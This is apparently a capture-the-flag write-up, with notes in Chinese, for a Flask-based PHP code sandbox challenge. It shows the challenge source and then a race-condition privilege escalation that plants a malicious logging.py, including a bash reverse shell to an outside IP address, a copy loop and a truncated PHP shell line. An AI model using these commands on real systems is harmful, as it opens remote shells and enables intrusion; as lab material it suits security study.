@app.route('/', methods=['GET', 'POST'])
def index():
if request.method == 'POST':
id = request.form['id']
if not id.isalnum() or len(id) != 8:
return '无效的ID'
session['id'] = id
if not os.path.exists(f'/sandbox/{id}'):
os.popen(f'mkdir /sandbox/{id} && chown www-data /sandbox/{id} && chmod a+w /sandbox/{id}').read()
return redirect(url_for('sandbox'))
return render_template('submit_id.html')
@app.route('/sandbox', methods=['GET', 'POST'])
def sandbox():
if request.method == 'GET':
if 'id' not in session:
return redirect(url_for('index'))
else:
return render_template('submit_code.html')
if request.method == 'POST':
if 'id' not in session:
return 'no id'
user_id = session['id']
if user_id in working_id:
return 'task is still running'
else:
working_id.append(user_id)
code = request.form.get('code')
os.popen(f'cd /sandbox/{user_id} && rm *').read()
os.popen(f'sudo -u www-data cp /app/init.py /sandbox/{user_id}/init.py && cd /sandbox/{user_id} && sudo -u www-data python3 init.py').read()
os.popen(f'rm -rf /sandbox/{user_id}/phpcode').read()
php_file = open(f'/sandbox/{user_id}/phpcode', 'w')
php_file.write(code)
php_file.close()
result = os.popen(f'cd /sandbox/{user_id} && sudo -u nobody php phpcode').read()
os.popen(f'cd /sandbox/{user_id} && rm *').read()
working_id.remove(user_id)
return result
if __name__ == '__main__':
app.run(debug=False, host='0.0.0.0', port=p80)
在这题中我们就是要通过死循环写logging.py,条件竞争最终实现提权的
具体操作如下:
先启动一个用户1来实现反弹nobody权限的shell
&3 2>&3");\'');?>
然后使用死循环来实现存在恶意logging.py:
echo "__import__('os').popen('bash -c \"bash -i >& /dev/tcp/124.222.136.33/1338 0>&1\"')" > /tmp/logging.py
echo "while true; do" >> /tmp/exp.sh
echo " cp /tmp/logging.py /sandbox/aaaaaaa2/logging.py" >> /tmp/exp.sh
echo "done" >> /tmp/exp.sh
chmod +x /tmp/exp.sh
sh /tmp/exp.sh
启动用户二(aaaaaaa2),随便传内容来触发即可